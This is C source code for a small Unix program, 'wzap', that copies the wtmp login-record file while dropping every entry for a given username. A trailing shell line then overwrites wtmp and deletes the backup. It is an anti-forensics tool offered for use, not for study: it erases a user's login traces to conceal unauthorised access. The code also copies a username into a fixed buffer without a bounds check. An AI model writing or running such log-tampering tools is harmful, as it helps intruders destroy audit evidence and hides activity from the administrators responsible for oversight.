/*  Dave's neato wtmp program
 *   *wzap.c
 *    *NOTE:  reads 'wtmp' from current directory and writes
 *     *'wtmp.out' in cuurent directory...
 *      */

#include<utmp.h>
#include<stdio.h>
#include<time.h>
#include<sys/time.h>

FILE *Wfile, *Wout;

struct utmp myutmp;

main(argc,argv)
        int argc;
        char *argv[];
{
        char username[20];
        char yesorno[5];
        long thetime, posi;

        if (argc<2) {
                printf("nn");
                printf("Enter username to zap from the wtmp: ");
                scanf("%s",username);
        } else strcpy(username,argv[1]);

        printf("nopening file...n");
        if ((Wfile = fopen("wtmp","r"))==NULL)
        { printf("no open filen"); exit(0); }
        printf("opening output file...n");
        if ((Wout = fopen("wtmp.out","wr"))==NULL)
        { printf("no open output file...n"); exit(0); }

        printf("working...n");
        while(!feof(Wfile)) {
                fread(&myutmp,sizeof(myutmp),1,Wfile);
                if (strncmp(myutmp.ut_name,username,8))
                        fwrite(&myutmp,sizeof(myutmp),1,Wout);
        }
        fclose(Wfile);
        fclose(Wout);
}

cat wtmp.old > wtmp; rm -f wtmp.old